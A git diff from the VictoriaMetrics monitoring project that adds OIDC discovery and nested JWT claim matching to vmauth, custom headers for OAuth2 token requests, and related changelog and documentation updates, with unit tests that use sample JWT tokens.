+* BUGFIX: `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): properly search tenants for [multitenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#multitenancy) query request. See [#10422](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10422).
+* BUGFIX: `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): properly apply `extra_filters[]` filter when querying `vm_account_id` or `vm_project_id` labels via [multitenant](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#multitenancy) request for `/api/v1/label/…/values` API. Before, `extra_filters` was ignored.
+* BUGFIX: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): revert the use of rollup result cache for [instant queries](https://docs.victoriametrics.com/keyConcepts.html#instant-query) that contain [`rate`](https://docs.victoriametrics.com/MetricsQL.html#rate) function with a lookbehind window larger than `-search.minWindowForInstantRollupOptimization`. The cache usage was removed since [v1.132.0](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.132.0). See [#10098](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10098#issuecomment-3895011084) for more details.
+* BUGFIX: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): fix escaping for label names with special characters. See [#10485](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10485).
+
 ## [v1.136.0](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.136.0)
 
 Released at 2026-02-13

docs/victoriametrics/sd_configs.md

@@ -2090,9 +2090,12 @@ and in the majority of [supported service discovery configs](#supported-service-
 
     # oauth2 is an optional OAuth 2.0 configuration.
     # See https://prometheus.io/docs/prometheus/latest/configuration/configuration/#oauth2
+    # Additionally, `headers` field is supported for sending custom HTTP headers to `token_url`.
     #
     # oauth2:
     #   ...
+    #   headers:
+    #   - "X-Tenant-ID: my-tenant"
 
     # tls_config is an optional TLS configuration.
     # See https://prometheus.io/docs/prometheus/latest/configuration/configuration/#tls_config

docs/victoriametrics/vmalert.md

@@ -87,7 +87,7 @@ make vmalert
 Then run `vmalert`:
 
 ```sh
-./bin/vmalert -rule=alert.rules \            # Path to the file with rules configuration. Supports wildcard
+./bin/vmalert -rule=alert.rules \            # Path to the file with rules configuration. Supports wildcard and HTTP URL (S3/GCS are available in Enterprise).
     -datasource.url=http://localhost:8428 \  # Prometheus HTTP API compatible datasource
     -notifier.url=http://localhost:9093 \    # AlertManager URL (required if alerting rules are used)
     -notifier.url=http://127.0.0.1:9093 \    # AlertManager replica URL
@@ -1195,6 +1195,16 @@ These flags are available only in [VictoriaMetrics enterprise](https://docs.vict
 * send GET request to `/-/reload` endpoint (this endpoint can be protected with `-reloadAuthKey` command-line flag);
 * configure `-configCheckInterval` flag for periodic reload on config change.
 
+On config reload, vmalert re-reads configurations specified via `-rule`, `-rule.templates` and `-notifier.config` cmd-line
+flags. 
+
+If configuration has changed, vmalert will update its internal states accordingly, log the corresponding message,
+set `vmalert_config_last_reload_successful` to `1` and `vmalert_config_last_reload_success_timestamp_seconds` to the moment
+when the update happened. If configuration hasn't changed, vmalert won't do anything.
+
+If vmalert failed to load or parse the configuration, it will log a corresponding error message and set 
+`vmalert_config_last_reload_successful` to `0`. It will keep the previous config and will continue operating as before. 
+
 ### URL params
 
 To set additional URL params for `datasource.url`, `remoteWrite.url` or `remoteRead.url`

docs/victoriametrics/vmalert_common_flags.md

@@ -16,7 +16,7 @@ See the docs at https://docs.victoriametrics.com/victoriametrics/vmalert/ .
   -blockcache.missesBeforeCaching int
      The number of cache misses before putting the block into cache. Higher values may reduce indexdb/dataBlocks cache size at the cost of higher CPU and disk read usage (default 2)
   -configCheckInterval duration
-     Interval for checking for changes in '-rule' or '-notifier.config' files. By default, the checking is disabled. Send SIGHUP signal in order to force config check for changes.
+     Interval for checking for changes in '-rule', '-rule.templates' and '-notifier.config' files. By default, the checking is disabled. Send SIGHUP signal in order to force config check for changes.
   -datasource.appendTypePrefix
      Whether to add type prefix to -datasource.url based on the query type. Set to true if sending different query types to the vmselect URL.
   -datasource.basicAuth.password string

docs/victoriametrics/vmauth.md

@@ -277,7 +277,188 @@ users:
 
 JWT authentication cannot be combined with other auth methods (`bearer_token`, `username`, `password`) in the same `users` config.
 
-Only one user with JWT authentication method is allowed at the moment. 
+
+#### OIDC Discovery
+
+Instead of specifying public keys manually, `vmauth` can automatically fetch{{% available_from "#" %}} 
+and rotate public keys from an [OpenID Connect (OIDC)](https://openid.net/connect/) provider via its [Discovery endpoint](https://openid.net/specs/openid-connect-discovery-1_0.html).
+This is useful when integrating with identity providers such as Keycloak, Auth0, Okta, or Google.
+
+Set `oidc.issuer` to the base URL of the OIDC provider. `vmauth` will:
+1. Fetch `{issuer}/.well-known/openid-configuration` to discover the `jwks_uri`.
+2. Download the JSON Web Key Set (JWKS) from the `jwks_uri` to obtain the public keys used to verify JWT signatures.
+3. Automatically refresh the keys every 5 minutes to handle key rotation.
+
+JWT tokens must contain an `iss` claim that matches the configured `issuer` value exactly.
+
+```yaml
+users:
+- jwt:
+    oidc:
+      issuer: "https://your-identity-provider.example.com"
+  url_prefix: "http://victoria-metrics:8428/"
+```
+
+The `oidc` option cannot be combined with `public_keys`, `public_key_files`, or `skip_verify`.
+
+If the OIDC provider is temporarily unavailable during a key refresh, `vmauth` continues using the previously fetched keys until the next successful refresh.
+If no keys have been fetched yet (e.g., on startup when the provider is unreachable), the config section is skipped during authentication.
+
+
+#### JWT claim matching
+
+`vmauth` can route requests to different backends depending on the claims contained
+in the provided [JWT token](https://www.jwt.io/) based on `match_claims`{{% available_from "#" %}} field.
+
+This enables RBAC-style setups where tokens carrying different roles
+(e.g. `admin`, `viewer`, `writer`) are mapped to different users — each with its own
+`url_prefix` or `url_map` configuration — all authenticated against the same public key.
+
+Claim matching is configured via the `match_claims` field inside the `jwt` user section.
+A user is selected only if:
+
+1. All configured `match_claims` entries evaluate successfully (logical AND).
+2. The token signature is cryptographically valid.
+
+If `match_claims` is not set or is empty, the user matches any valid JWT token
+signed with the configured public key.
+
+Claim names support dot-notation for traversal of nested JSON objects
+(a simplified JSONPath-style approach), for example `vm_access.metrics_account_id` matches `{"vm_access": {"metrics_account_id": 1}}` and
+`security.permissions.0.read` matches `{"security": {"permissions": [{"read": 1}]}}.
+Claim names must point to a **leaf value**. The only supported leaf values are string, integer, float and boolean. Any other leaf type
+is treated as not matched.
+All configured claims must match exactly.
+
+For example, the following config routes requests based on the `role` claim in the JWT token:
+
+```yaml
+users:
+- jwt:
+    oidc:
+      issuer: "https://your-identity-provider.example.com"
+  url_prefix: "http://victoria-metrics:8428/"
+    public_keys:
+    - |
+      -----BEGIN PUBLIC KEY-----
+      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
+      -----END PUBLIC KEY-----
+    match_claims:
+      role: admin
+  url_prefix: "http://victoria-metrics-admin:8428/"
+- jwt:
+    public_keys:
+    - |
+      -----BEGIN PUBLIC KEY-----
+      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
+      -----END PUBLIC KEY-----
+    match_claims:
+      role: viewer
+  url_prefix: "http://victoria-metrics-readonly:8428/"
+```
+
+The following config demonstrates matching on nested claims using dot-notation:
+
+```yaml
+users:
+- jwt:
+    public_keys:
+    - |
+      -----BEGIN PUBLIC KEY-----
+      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
+      -----END PUBLIC KEY-----
+    match_claims:
+      vm_access.metrics_account_id: 1
+  url_prefix: "http://victoria-metrics-tenant-1:8428/"
+- jwt:
+    public_keys:
+    - |
+      -----BEGIN PUBLIC KEY-----
+      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
+      -----END PUBLIC KEY-----
+    match_claims:
+      foo.bar: baz
+  url_prefix: "http://victoria-metrics-tenant-2:8428/"
+```
+
+The following config matches any valid token (no claim filtering),
+equivalent to the behavior when `match_claims` is omitted:
+
+```yaml
+users:
+- jwt:
+    public_keys:
+    - |
+      -----BEGIN PUBLIC KEY-----
+      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
+      -----END PUBLIC KEY-----
+    match_claims: {}
+  url_prefix: "http://victoria-metrics:8428/"
+```
+
+#### JWT claim matching. Conflict resolution
+
+When multiple users have `match_claims` entries that all match the incoming token,
+`vmauth` selects the user whose `match_claims` map contains the **greatest number of entries**.
+A more specific match (more claim constraints) always takes priority over a less specific one.
+
+For example, given the following config and a token containing both `role=admin` and `iss=foo`:
+
+```yaml
+users:
+- jwt:
+    match_claims:
+      iss: foo
+  url_prefix: "http://victoria-metrics-default:8428/"
+- jwt:
+    match_claims:
+      iss: foo
+      role: admin
+  url_prefix: "http://victoria-metrics-admin:8428/"
+```
+
+The second user is selected because it has two matching claim entries compared to one,
+and requests are proxied to `http://victoria-metrics-admin:8428/`.
+
+If two users match with the **same number** of `match_claims` entries,
+the selection becomes non-deterministic. To avoid ambiguity, ensure that
+claim match conditions across users with the same number of entries are mutually exclusive.
+
+For example, the following config is ambiguous when a token contains both `role=foo` and `team=platform`:
+
+```yaml
+users:
+- jwt:
+    match_claims:
+      role: foo
+  url_prefix: "http://backend-a:8428/"
+- jwt:
+    match_claims:
+      team: platform
+  url_prefix: "http://backend-b:8428/"
+```
+
+Both users have one claim entry each, so if the token satisfies both,
+neither takes priority. Resolve this by adding the same match claim keys to both users:
+
+```yaml
+users:
+- jwt:
+    match_claims:
+      team: ops
+      role: foo
+  url_prefix: "http://backend-a:8428/"
+- jwt:
+    match_claims:
+      team: platform
+      role: admin
+  url_prefix: "http://backend-b:8428/"
+
+```
+
+JWT claim-based matching can be combined with
+[JWT claim-based request templating](/victoriametrics/vmauth/#jwt-claim-based-request-templating)
+for dynamic URL rewriting based on `vm_access` claim fields.
 
 #### JWT claim-based request templating
 
@@ -1068,11 +1249,11 @@ unauthorized_user:
 
 Access logs contain limited information to prevent exposing sensitive data. See an example of the printed access log below:
 ```bash
-2026-02-26T15:00:00.207Z        info    VictoriaMetrics/app/vmauth/auth_config.go:134   access_log request_host="localhost:8427" request_uri="/prometheus/api/v1/query_range?query=1&start=1772116199.897&end=1772117999.897&step=5s" status_code=200 remote_addr="127.0.0.1:63425" user_agent="Mozilla/5.0..." referer="http://localhost:8427/vmui/?" username="unauthorized"
+2026-02-26T15:00:00.207Z        info    VictoriaMetrics/app/vmauth/auth_config.go:134   access_log request_host="localhost:8427" request_uri="/prometheus/api/v1/query_range?query=1&start=1772116199.897&end=1772117999.897&step=5s" status_code=200 remote_addr="127.0.0.1:63425" user_agent="Mozilla/5.0..." referer="http://localhost:8427/vmui/?" duration_ms=8 username="unauthorized"
 ```
 
 The printed log starts with `access_log` prefix and is followed with `request_host`, `request_uri`, `status_code`, `remote_addr`,
-`user_agent`, `referer` and `username` fields in [logfmt](https://brandur.org/logfmt) format. Such logs can be later
+`user_agent`, `referer`, `duration_ms` and `username` fields in [logfmt](https://brandur.org/logfmt) format. Such logs can be later
 analyzed in [VictoriaLogs](https://docs.victoriametrics.com/victorialogs):
 ```logsql
 access_log | extract 'access_log <access_log>' | unpack_logfmt from access_log

go.mod

@@ -1,6 +1,6 @@
 module github.com/VictoriaMetrics/VictoriaMetrics
 
-go 1.26.0
+go 1.26.1
 
 require (
 	cloud.google.com/go/storage v1.60.0

lib/filestream/filestream.go

@@ -292,11 +292,6 @@ func (w *Writer) Write(p []byte) (int, error) {
 //
 // if isSync is true, then the flushed data is fsynced to the underlying storage.
 func (w *Writer) MustFlush(isSync bool) {
-	startTime := time.Now()
-	defer func() {
-		d := time.Since(startTime).Seconds()
-		writeDuration.Add(d)
-	}()
 	if err := w.bw.Flush(); err != nil {
 		logger.Panicf("FATAL: cannot flush buffered data to file %q: %s", w.f.Name(), err)
 	}

lib/jwt/jwt.go

@@ -99,6 +99,7 @@ type body struct {
 	Exp int64 `json:"exp"`
 	// issued at time unix_ts
 	Iat           int64  `json:"iat"`
+	Iss           string `json:"iss"`
 	Jti           string `json:"jti,omitempty"`
 	Scope         string `json:"scope,omitempty"`
 	vmAccessClaim VMAccessClaim
@@ -112,6 +113,10 @@ type body struct {
 
 	// claimsParser holds optional parser for `vm_access` string representation
 	claimsParser *fastjson.Parser
+
+	// vmAccessClaimObject holds vm_access fields in case of source field
+	// was a string and it cannot be accessed directly via allClaims
+	vmAccessClaimObject *fastjson.Value
 }
 
 func (b *body) parse(src string) error {
@@ -138,6 +143,14 @@ func (b *body) parse(src string) error {
 			return fmt.Errorf("cannot parse `iat` field: %w", err)
 		}
 	}
+	if issObject := jv.Get("iss"); issObject != nil {
+		bIss, err := issObject.StringBytes()
+		if err != nil {
+			return fmt.Errorf("cannot parse `iss` field: %w", err)
+		}
+		b.Iss = bytesutil.ToUnsafeString(bIss)
+	}
+
 	vaObject := jv.Get("vm_access")
 	if vaObject == nil {
 		return ErrVMAccessFieldMissing
@@ -158,6 +171,7 @@ func (b *body) parse(src string) error {
 		if err := b.vmAccessClaim.parseFrom(va); err != nil {
 			return fmt.Errorf("cannot parse `vm_access` values from string json: %w", err)
 		}
+		b.vmAccessClaimObject = va
 	case fastjson.TypeNull:
 		return ErrVMAccessFieldMissing
 	default:
@@ -197,6 +211,7 @@ func (b *body) parse(src string) error {
 func (b *body) reset() {
 	b.Exp = 0
 	b.Iat = 0
+	b.Iss = ""
 	b.Jti = ""
 	b.Scope = ""
 	b.buf = b.buf[:0]
@@ -210,6 +225,9 @@ func (b *body) reset() {
 		parserPool.Put(b.claimsParser)
 		b.claimsParser = nil
 	}
+	if b.vmAccessClaimObject != nil {
+		b.vmAccessClaimObject = nil
+	}
 
 }
 
@@ -249,22 +267,66 @@ func (t *Token) Parse(src string, enforceAuthPrefix bool) error {
 	return nil
 }
 
-// HasClaims checks if Token has all given claim key value pairs
-func (t *Token) HasClaims(claims map[string]string) bool {
-	for k, v := range claims {
-		gotV := t.body.allClaims.Get(k)
-		if gotV == nil || gotV.Type() != fastjson.TypeString {
-			return false
-		}
-		tcv := bytesutil.ToUnsafeString(gotV.GetStringBytes())
-		if tcv != v {
+// Issuer returns `iss` claim value from token body
+func (t *Token) Issuer() string {
+	return t.body.Iss
+}
+
+// MatchClaims checks if Token has all given claims
+//
+// An empty claims always match
+func (t *Token) MatchClaims(claims []*Claim) bool {
+	if len(claims) == 0 {
+		return true
+	}
+	for _, claim := range claims {
+		if !t.matchClaim(claim) {
 			return false
 		}
 	}
-
 	return true
 }
 
+func (t *Token) matchClaim(c *Claim) bool {
+	if len(c.nestedKeys) == 0 {
+		return true
+	}
+	var gotV *fastjson.Value
+	if c.nestedKeys[0] == "scope" {
+		// special case, scope could be both string and []string
+		return c.value == t.body.Scope
+	}
+	keys := c.nestedKeys
+	if keys[0] == "vm_access" && t.body.vmAccessClaimObject != nil {
+		// vm_access was encoded as a string in the token body; use the
+		// separately parsed vmAccessClaimObject for nested key lookup.
+		if len(keys) == 1 {
+			// vm_access is object type, it cannot match string
+			return false
+		}
+		keys = keys[1:]
+		gotV = t.body.vmAccessClaimObject.Get(keys...)
+	} else {
+		gotV = t.body.allClaims.Get(keys...)
+	}
+	if gotV == nil || gotV.Type() == fastjson.TypeArray || gotV.Type() == fastjson.TypeObject {
+		// key not found or has complex structure
+		return false
+	}
+	if gotV.Type() == fastjson.TypeString {
+		return bytesutil.ToUnsafeString(gotV.GetStringBytes()) == c.value
+	}
+	bb := claimValuePool.Get()
+	b := bb.B[:0]
+	b = gotV.MarshalTo(b)
+	bb.B = b
+	equal := string(b) == c.value
+	claimValuePool.Put(bb)
+	return equal
+}
+
+var claimValuePool bytesutil.ByteBufferPool
+
 // VMAccess return a reference to the VMAccessClaim
 // all data are valid until Token is reachable
 func (t *Token) VMAccess() *VMAccessClaim {
@@ -669,3 +731,65 @@ func stringSliceFromJSONValue(dst []string, jv *fastjson.Value, key string) ([]s
 var parserPool fastjson.ParserPool
 
 var decodeb64BufferPool bytesutil.ByteBufferPool
+
+// Claim represents a single JWT token claim used for matching via Token.MatchClaims.
+// It supports dot-delimited nested key lookup within the token body JSON.
+type Claim struct {
+	nestedKeys []string
+	value      string
+}
+
+// NewClaim constructs a JWT token claim from the given key and value.
+// The key supports dot-delimited notation as a separator for nested key lookup.
+// To include a literal dot in a key segment, escape it with a backslash (e.g. "a\.b.c").
+//
+// For example, the key "audit.permissions.0" can be used to access a nested array element in:
+//
+// {"audit": {"permissions": [0, 1, 0]}}
+func NewClaim(key, value string) *Claim {
+	var nestedKeys []string
+	if idx := strings.Index(key, "."); idx > 0 {
+		nestedKeys = splitNestedClaimKey(key)
+	} else {
+		nestedKeys = []string{key}
+	}
+	return &Claim{
+		nestedKeys: nestedKeys,
+		value:      value,
+	}
+}
+
+// splitNestedClaimKey splits a dot-delimited claim key into individual path segments.
+// A dot preceded by a backslash (\.) is treated as a literal dot and not a delimiter.
+//
+// For example:
+//   - "a.b.c"   ? ["a", "b", "c"]
+//   - "a\.b.c"  ? ["a.b", "c"]
+func splitNestedClaimKey(key string) []string {
+	var keys []string
+	var unescapedKey string
+	for {
+		idx := strings.IndexByte(key, '.')
+		if idx <= 0 {
+			if len(unescapedKey) > 0 {
+				key = unescapedKey + key
+			}
+			keys = append(keys, key)
+			return keys
+		}
+		if key[idx-1] == '\\' {
+			unescapedKey += key[:idx-1] + "."
+			key = key[idx+1:]
+			continue
+		}
+		if len(unescapedKey) > 0 {
+			unescapedKey += key[:idx]
+			keys = append(keys, unescapedKey)
+			key = key[idx+1:]
+			unescapedKey = ""
+			continue
+		}
+		keys = append(keys, key[:idx])
+		key = key[idx+1:]
+	}
+}

lib/jwt/jwt_test.go

@@ -305,6 +305,13 @@ func TestParseJWTBody_Failure(t *testing.T) {
 		`unexpected type for key="logs_extra_stream_filters", got: string, want: array string`,
 		true,
 	)
+
+	// invalid iss claim value type
+	f(
+		`{"iss": {}, "vm_access": {}}`,
+		"cannot parse `iss` field: value doesn't contain string; it contains object",
+		true,
+	)
 }
 
 func TestParseJWTBody_Success(t *testing.T) {
@@ -326,6 +333,9 @@ func TestParseJWTBody_Success(t *testing.T) {
 		if result.Iat != resultExpected.Iat {
 			t.Fatalf("unexpected Iat; got %d; want %d", result.Iat, resultExpected.Iat)
 		}
+		if result.Iss != resultExpected.Iss {
+			t.Fatalf("unexpected Iss; got %s; want %s", result.Iss, resultExpected.Iss)
+		}
 		if result.Scope != resultExpected.Scope {
 			t.Fatalf("unexpected scope; got %q; want %q", result.Scope, resultExpected.Scope)
 		}
@@ -349,6 +359,10 @@ func TestParseJWTBody_Success(t *testing.T) {
 	f(`{"vm_access": {"tenant_id": {}}}`, &body{
 		vmAccessClaim: VMAccessClaim{},
 	})
+	f(`{"iss": "theIssuer", "vm_access": {"tenant_id": {}}}`, &body{
+		Iss:           "theIssuer",
+		vmAccessClaim: VMAccessClaim{},
+	})
 
 	f(
 		`
@@ -850,3 +864,142 @@ func TestNewTokenFromRequest_Success(t *testing.T) {
 	}
 	f(r, resultExpected, false)
 }
+
+func TestTokenMatchClaims(t *testing.T) {
+
+	/*
+		{
+		  "iss": "https://login.microsoftonline.com/-6691-4868-a77b-1b0f9bbe5f43/v2.0",
+		  "iat": 1725625332,
+		  "exp": 1725629232,
+		  "name": "Zakhar",
+		  "key.with.dot": "issuer",
+		  "security": {
+		    "permissions": [
+		      {"read": true},
+		      {"write": true}
+		    ],
+		    "nested_array": [
+		      {"values":["read","write"]}
+		    ],
+		    "audit":{
+		      "scope": "",
+		      "score": 1.05,
+		      "user_id": 100
+		    }
+		  },
+		  "ver": 2.0,
+		  "vm_access": "{\"tenant_id\":{\"project_id\": 5, \"account_id\": 1}}",
+		  "scope": "[\"openid\",\"vm\"]"
+		}
+	*/
+	tokenStr := "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImZmZi1sQjl3In0.eyJpc3MiOiJodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vLTY2OTEtNDg2OC1hNzdiLTFiMGY5YmJlNWY0My92Mi4wIiwiaWF0IjoxNzI1NjI1MzMyLCJleHAiOjE3MjU2MjkyMzIsIm5hbWUiOiJaYWtoYXIiLCJrZXkud2l0aC5kb3QiOiJpc3N1ZXIiLCJzZWN1cml0eSI6eyJwZXJtaXNzaW9ucyI6W3sicmVhZCI6dHJ1ZX0seyJ3cml0ZSI6dHJ1ZX1dLCJuZXN0ZWRfYXJyYXkiOlt7InZhbHVlcyI6WyJyZWFkIiwid3JpdGUiXX1dLCJhdWRpdCI6eyJzY29wZSI6IiIsInNjb3JlIjoxLjA1LCJ1c2VyX2lkIjoxMDB9fSwidmVyIjoyLCJ2bV9hY2Nlc3MiOiJ7XCJ0ZW5hbnRfaWRcIjp7XCJwcm9qZWN0X2lkXCI6IDUsIFwiYWNjb3VudF9pZFwiOiAxfX0iLCJzY29wZSI6WyJvcGVuaWQiLCJ2bSJdfQ.Xczc0_QUCtQtZli2cLKjraKSelCGOZaBemttVb65ekBPL1lkK813KwlGmD_LLvBTkHOumMEjFr2P8TcQeixhDC4oZ2D3yxwdsOEpnSfuWs0hw0Edqzd7D1E2DFD2ptB6X8-qAizQM_tDAhRn6U_H886EXu_ebaiGcf7k7akqv1LY6SZhGLjYKcI3HERQtqor7ZROGbckE1Swak5YoZBdBp-WI-h7CSFsWrK9E3Dcl7Sn42PzgyR5TaxQ7n4VIIUXa0VTUukL-v_g-qzBrgyrujUhtS4hnZIBBQ1qSESjWyceGW7SRtwOWCGQG8kBwUvlWgbwrz5_pp_A6trwtag2rA"
+	var tokenWithStrFields Token
+	if err := tokenWithStrFields.Parse(tokenStr, false); err != nil {
+		t.Fatalf("BUG: cannot JWT token: %s", err)
+	}
+	f := func(tkn *Token, claims map[string]string, want bool) {
+		parsedClaims := make([]*Claim, 0, len(claims))
+		for k, v := range claims {
+			parsedClaims = append(parsedClaims, NewClaim(k, v))
+		}
+		t.Helper()
+		got := tkn.MatchClaims(parsedClaims)
+		if got != want {
+			t.Fatalf("unexpected match: (-%v;+%v)", want, got)
+		}
+	}
+	// single field match
+	claims := map[string]string{
+		"name": "Zakhar",
+	}
+	f(&tokenWithStrFields, claims, true)
+
+	// multiple fileds with array and nested maps
+	claims = map[string]string{
+		"name":                         "Zakhar",
+		"security.permissions.1.write": "true",
+	}
+	f(&tokenWithStrFields, claims, true)
+
+	// multiple fileds with float and escaped dot
+	claims = map[string]string{
+		"name":                           "Zakhar",
+		"key\\.with\\.dot":               "issuer",
+		"vm_access.tenant_id.project_id": "5",
+	}
+	f(&tokenWithStrFields, claims, true)
+
+	// with scope slice match
+	claims = map[string]string{
+		"name":  "Zakhar",
+		"scope": "openid vm",
+	}
+	f(&tokenWithStrFields, claims, true)
+
+	// complex key do not match
+	claims = map[string]string{
+		"name":                         "Zakhar",
+		"security.nested_array.values": "[\"read\",\"write\"]",
+	}
+	f(&tokenWithStrFields, claims, false)
+
+	// key not found
+	claims = map[string]string{
+		"name":        "Zakhar",
+		"missing_key": "true",
+	}
+	f(&tokenWithStrFields, claims, false)
+
+	tokenObjectStr := "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImZmZi1sQjl3In0.eyJpc3MiOiJodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vLTY2OTEtNDg2OC1hNzdiLTFiMGY5YmJlNWY0My92Mi4wIiwiaWF0IjoxNzI1NjI1MzMyLCJleHAiOjE3MjU2MjkyMzIsIm5hbWUiOiJaYWtoYXIiLCJkaWN0LndpdGhfZG90Ijp7ImtleSI6InZhbHVlIn0sInZlciI6Miwidm1fYWNjZXNzIjp7InRlbmFudF9pZCI6eyJwcm9qZWN0X2lkIjo1LCJhY2NvdW50X2lkIjoxfSwiZXh0cmFfbGFiZWxzIjp7ImtleSI6InZhbHVlIn19LCJzY29wZSI6Im9wZW5pZCB2bSJ9.CpSZbF0uzhg1vEYmMaZGAvVW2GIKTJ_BvFN6Ihfg0uQoeXYv3g8PENH3jfDAMI1m3tCoTdfY-HTrB4Nj85TlBvcpPlOYxOggW-yPK_3F8yNsP4WlIJh-FYJNM3c4eanzj37mhVRoA_v1rpDfWij2nGLR2TKo3C6CXNjOJATnuVllncJaXPHgGazP5yEFsbIeQdE1Yf8VxLNGcFAMrXADIL9Gh8kNvqp6AxHiYC5bU8AmkMHsO0YwomMFLwgB_QfJ_9O3CebVMirOMoJFRt01Mx7NbUWzciWXWtlShj_ADBL-lEpqUre2Ma6iayrXcvlYuVQYZZw8MkVEkKfq3TQA6Q"
+	/*
+		{
+		  "iss": "https://login.microsoftonline.com/-6691-4868-a77b-1b0f9bbe5f43/v2.0",
+		  "iat": 1725625332,
+		  "exp": 1725629232,
+		  "name": "Zakhar",
+		  "dict.with_dot": {
+		    "key": "value"
+		  },
+		  "ver": 2.0,
+		  "vm_access": {
+		    "tenant_id":
+		     {
+		       "project_id": 5,
+		       "account_id": 1
+		     },
+		    "extra_labels": {
+		      "key": "value"
+		    }
+		  },
+		  "scope": "openid vm"
+		}
+	*/
+	var tokenObjectFields Token
+
+	if err := tokenObjectFields.Parse(tokenObjectStr, false); err != nil {
+		t.Fatalf("BUG: cannot JWT token: %s", err)
+	}
+
+	// with scope string and tenant_id
+	claims = map[string]string{
+		"name":                           "Zakhar",
+		"scope":                          "openid vm",
+		"vm_access.tenant_id.account_id": "1",
+	}
+	f(&tokenObjectFields, claims, true)
+
+	// with extra_labels and float match
+	claims = map[string]string{
+		"ver":                        "2",
+		"vm_access.extra_labels.key": "value",
+	}
+	f(&tokenObjectFields, claims, true)
+
+	// with dot escaped
+	claims = map[string]string{
+		"name":                "Zakhar",
+		"dict\\.with_dot.key": "value",
+	}
+	f(&tokenObjectFields, claims, true)
+}

lib/promauth/config.go

@@ -148,6 +148,7 @@ type OAuth2Config struct {
 	EndpointParams   map[string]string `yaml:"endpoint_params,omitempty"`
 	TLSConfig        *TLSConfig        `yaml:"tls_config,omitempty"`
 	ProxyURL         string            `yaml:"proxy_url,omitempty"`
+	Headers          []string          `yaml:"headers,omitempty"`
 }
 
 func (o *OAuth2Config) validate() error {
@@ -177,13 +178,15 @@ type oauth2ConfigInternal struct {
 	proxyURL     string
 	proxyURLFunc func(*http.Request) (*url.URL, error)
 
+	tokenURLHeaders []keyValue
+
 	ctx         context.Context
 	tokenSource oauth2.TokenSource
 }
 
 func (oi *oauth2ConfigInternal) String() string {
-	return fmt.Sprintf("clientID=%q, clientSecret=%q, clientSecretFile=%q, scopes=%q, endpointParams=%q, tokenURL=%q, proxyURL=%q, tlsConfig={%s}",
-		oi.cfg.ClientID, oi.cfg.ClientSecret, oi.clientSecretFile, oi.cfg.Scopes, oi.cfg.EndpointParams, oi.cfg.TokenURL, oi.proxyURL, oi.ac.String())
+	return fmt.Sprintf("clientID=%q, clientSecret=%q, clientSecretFile=%q, scopes=%q, endpointParams=%q, tokenURL=%q, proxyURL=%q, tokenURLHeaders=%q, tlsConfig={%s}",
+		oi.cfg.ClientID, oi.cfg.ClientSecret, oi.clientSecretFile, oi.cfg.Scopes, oi.cfg.EndpointParams, oi.cfg.TokenURL, oi.proxyURL, oi.tokenURLHeaders, oi.ac.String())
 }
 
 func newOAuth2ConfigInternal(baseDir string, o *OAuth2Config) (*oauth2ConfigInternal, error) {
@@ -221,6 +224,11 @@ func newOAuth2ConfigInternal(baseDir string, o *OAuth2Config) (*oauth2ConfigInte
 		oi.proxyURL = o.ProxyURL
 		oi.proxyURLFunc = http.ProxyURL(u)
 	}
+	tokenURLHeaders, err := parseHeaders(o.Headers)
+	if err != nil {
+		return nil, fmt.Errorf("cannot parse headers for token_url: %w", err)
+	}
+	oi.tokenURLHeaders = tokenURLHeaders
 	return oi, nil
 }
 
@@ -237,14 +245,56 @@ func (oi *oauth2ConfigInternal) initTokenSource() error {
 	if oi.proxyURLFunc != nil {
 		tr.Proxy = oi.proxyURLFunc
 	}
+	transport := oi.ac.NewRoundTripper(tr)
+	if len(oi.tokenURLHeaders) > 0 {
+		transport = newExtraHeadersTransport(oi.tokenURLHeaders, transport)
+	}
 	c := &http.Client{
-		Transport: oi.ac.NewRoundTripper(tr),
+		Transport: transport,
 	}
 	oi.ctx = context.WithValue(context.Background(), oauth2.HTTPClient, c)
 	oi.tokenSource = oi.cfg.TokenSource(oi.ctx)
 	return nil
 }
 
+// extraHeadersTransport injects a fixed set of headers into every request.
+type extraHeadersTransport struct {
+	extraHeaders http.Header
+	host         string
+	base         http.RoundTripper
+}
+
+func newExtraHeadersTransport(headers []keyValue, base http.RoundTripper) *extraHeadersTransport {
+	tr := &extraHeadersTransport{
+		base:         base,
+		extraHeaders: make(http.Header, len(headers)),
+	}
+	for _, h := range headers {
+		if h.key == "Host" {
+			tr.host = h.value
+			continue
+		}
+		tr.extraHeaders[h.key] = []string{h.value}
+	}
+	return tr
+}
+
+func (tr *extraHeadersTransport) RoundTrip(req *http.Request) (*http.Response, error) {
+	r := new(http.Request)
+	*r = *req
+	r.Header = make(http.Header, len(req.Header)+len(tr.extraHeaders))
+	for k, v := range req.Header {
+		r.Header[k] = v
+	}
+	for k, v := range tr.extraHeaders {
+		r.Header[k] = v
+	}
+	if tr.host != "" {
+		r.Host = tr.host
+	}
+	return tr.base.RoundTrip(r)
+}
+
 func (oi *oauth2ConfigInternal) getTokenSource() (oauth2.TokenSource, error) {
 	oi.mu.Lock()
 	defer oi.mu.Unlock()

lib/promauth/config_test.go

